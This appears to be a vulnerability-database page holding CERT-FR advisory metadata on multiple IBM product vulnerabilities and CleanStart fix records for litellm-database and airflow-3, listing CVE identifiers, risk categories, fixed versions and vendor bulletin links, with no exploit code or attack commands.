"name": "CVE-2026-33672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-8723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8723"
},
{
"name": "CVE-2026-75838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75838"
},
{
"name": "CVE-2026-59200",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2026-59877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59877"
},
{
"name": "CVE-2026-9678",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9678"
},
{
"name": "CVE-2026-39304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39304"
},
{
"name": "CVE-2026-48713",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48713"
},
{
"name": "CVE-2026-49270",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49270"
},
{
"name": "CVE-2026-34516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34516"
},
{
"name": "CVE-2026-46086",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46086"
},
{
"name": "CVE-2026-15064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15064"
},
{
"name": "CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"name": "CVE-2026-14476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14476"
},
{
"name": "CVE-2026-53359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53359"
},
{
"name": "CVE-2026-16439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
},
{
"name": "CVE-2018-16487",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16487"
},
{
"name": "CVE-2026-44728",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44728"
},
{
"name": "CVE-2026-55955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
},
{
"name": "CVE-2026-34517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34517"
},
{
"name": "CVE-2026-49477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
},
{
"name": "CVE-2026-42034",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42034"
},
{
"name": "CVE-2026-9322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9322"
},
{
"name": "CVE-2025-5889",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5889"
},
{
"name": "CVE-2026-31411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31411"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-34591",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34591"
},
{
"name": "CVE-2026-48779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48779"
},
{
"name": "CVE-2025-14914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14914"
},
{
"name": "CVE-2026-9563",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9563"
},
{
"name": "CVE-2026-13676",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13676"
},
{
"name": "CVE-2026-54276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54276"
},
{
"name": "CVE-2026-53434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
},
{
"name": "CVE-2026-40347",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40347"
},
{
"name": "CVE-2026-43112",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43112"
},
{
"name": "CVE-2025-66168",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66168"
},
{
"name": "CVE-2026-66142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66142"
},
{
"name": "CVE-2026-10051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10051"
},
{
"name": "CVE-2026-6322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
},
{
"name": "CVE-2026-34513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34513"
},
{
"name": "CVE-2026-43869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43869"
},
{
"name": "CVE-2026-8400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8400"
},
{
"name": "CVE-2026-14980",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14980"
},
{
"name": "CVE-2026-5078",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5078"
},
{
"name": "CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"name": "CVE-2026-55655",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55655"
},
{
"name": "CVE-2026-34514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34514"
},
{
"name": "CVE-2026-44431",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44431"
},
{
"name": "CVE-2026-27601",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27601"
},
{
"name": "CVE-2026-26996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26996"
},
{
"name": "CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"name": "CVE-2026-33227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33227"
},
{
"name": "CVE-2026-48775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
},
{
"name": "CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"name": "CVE-2026-60081",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60081"
},
{
"name": "CVE-2026-10879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
},
{
"name": "CVE-2026-64530",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64530"
},
{
"name": "CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"name": "CVE-2026-45736",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45736"
},
{
"name": "CVE-2026-54225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54225"
},
{
"name": "CVE-2026-34520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34520"
},
{
"name": "CVE-2026-41238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41238"
},
{
"name": "CVE-2026-42037",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42037"
},
{
"name": "CVE-2026-53404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
},
{
"name": "CVE-2026-33416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33416"
},
{
"name": "CVE-2026-42042",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42042"
},
{
"name": "CVE-2026-9071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9071"
},
{
"name": "CVE-2026-34993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34993"
},
{
"name": "CVE-2026-59198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
},
{
"name": "CVE-2026-11806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11806"
},
{
"name": "CVE-2026-44294",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44294"
},
{
"name": "CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"name": "CVE-2026-33231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
},
{
"name": "CVE-2026-48801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48801"
},
{
"name": "CVE-2026-52923",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52923"
},
{
"name": "CVE-2026-42012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
},
{
"name": "CVE-2026-44490",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44490"
},
{
"name": "CVE-2026-46917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46917"
},
{
"name": "CVE-2026-43116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43116"
},
{
"name": "CVE-2026-60147",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
},
{
"name": "CVE-2026-22815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22815"
},
{
"name": "CVE-2026-15280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15280"
},
{
"name": "CVE-2026-22008",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22008"
},
{
"name": "CVE-2026-31802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31802"
},
{
"name": "CVE-2026-56852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
},
{
"name": "CVE-2026-6733",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6733"
},
{
"name": "CVE-2026-13311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13311"
},
{
"name": "CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"name": "CVE-2026-33230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
},
{
"name": "CVE-2026-10535",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10535"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2026-59204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
},
{
"name": "CVE-2026-27904",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27904"
},
{
"name": "CVE-2026-14474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14474"
},
{
"name": "CVE-2026-47059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
},
{
"name": "CVE-2026-53539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53539"
},
{
"name": "CVE-2026-2739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2739"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-53917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53917"
},
{
"name": "CVE-2026-15392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15392"
},
{
"name": "CVE-2026-8177",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8177"
}
],
"initial_release_date": "2026-08-28T00:00:00",
"last_revision_date": "2026-08-28T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1094",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-28T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285382",
"url": "https://www.ibm.com/support/pages/node/7285382"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284666",
"url": "https://www.ibm.com/support/pages/node/7284666"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285542",
"url": "https://www.ibm.com/support/pages/node/7285542"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285272",
"url": "https://www.ibm.com/support/pages/node/7285272"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285232",
"url": "https://www.ibm.com/support/pages/node/7285232"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285472",
"url": "https://www.ibm.com/support/pages/node/7285472"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285291",
"url": "https://www.ibm.com/support/pages/node/7285291"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285470",
"url": "https://www.ibm.com/support/pages/node/7285470"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285469",
"url": "https://www.ibm.com/support/pages/node/7285469"
},
{
"published_at": "2026-08-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284528",
"url": "https://www.ibm.com/support/pages/node/7284528"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285416",
"url": "https://www.ibm.com/support/pages/node/7285416"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285376",
"url": "https://www.ibm.com/support/pages/node/7285376"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285380",
"url": "https://www.ibm.com/support/pages/node/7285380"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285275",
"url": "https://www.ibm.com/support/pages/node/7285275"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285292",
"url": "https://www.ibm.com/support/pages/node/7285292"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285234",
"url": "https://www.ibm.com/support/pages/node/7285234"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285141",
"url": "https://www.ibm.com/support/pages/node/7285141"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7279466",
"url": "https://www.ibm.com/support/pages/node/7279466"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284718",
"url": "https://www.ibm.com/support/pages/node/7284718"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285509",
"url": "https://www.ibm.com/support/pages/node/7285509"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285340",
"url": "https://www.ibm.com/support/pages/node/7285340"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285513",
"url": "https://www.ibm.com/support/pages/node/7285513"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285420",
"url": "https://www.ibm.com/support/pages/node/7285420"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284710",
"url": "https://www.ibm.com/support/pages/node/7284710"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285274",
"url": "https://www.ibm.com/support/pages/node/7285274"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284653",
"url": "https://www.ibm.com/support/pages/node/7284653"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285342",
"url": "https://www.ibm.com/support/pages/node/7285342"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285539",
"url": "https://www.ibm.com/support/pages/node/7285539"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284670",
"url": "https://www.ibm.com/support/pages/node/7284670"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284806",
"url": "https://www.ibm.com/support/pages/node/7284806"
}
]
}
cleanstart-2026-cf86587
Vulnerability from cleanstart
Package litellm-database version 1.94.3-r0 fixes 3 vulnerabilities: CVE-2026-69247, CVE-2026-69248, CVE-2026-69249
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "litellm-database"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.94.3-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.94.3-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package litellm-database version 1.94.3-r0 fixes 3 vulnerabilities: CVE-2026-69247, CVE-2026-69248, CVE-2026-69249",
"id": "CLEANSTART-2026-CF86587",
"modified": "2026-09-04T11:14:10Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BerriAI/litellm"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in litellm-database 1.94.3-r0",
"upstream": [
"CVE-2026-69247",
"CVE-2026-69248",
"CVE-2026-69249"
]
}
cleanstart-2026-ex36838
Vulnerability from cleanstart
Package airflow-3 version 3.3.0-r2 fixes 7 vulnerabilities: CVE-2026-69244, CVE-2026-59881, CVE-2026-69243, CVE-2026-69247, CVE-2026-69249...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.3.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-3 version 3.3.0-r2 fixes 7 vulnerabilities: CVE-2026-69244, CVE-2026-59881, CVE-2026-69243, CVE-2026-69247, CVE-2026-69249...",
"id": "CLEANSTART-2026-EX36838",
"modified": "2026-09-04T12:17:57Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-3 3.3.0-r2",
"upstream": [
"CVE-2026-69244",
"CVE-2026-59881",
"CVE-2026-69243",
"CVE-2026-69247",
"CVE-2026-69249",
"CVE-2026-69248",
"CVE-2026-59243"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.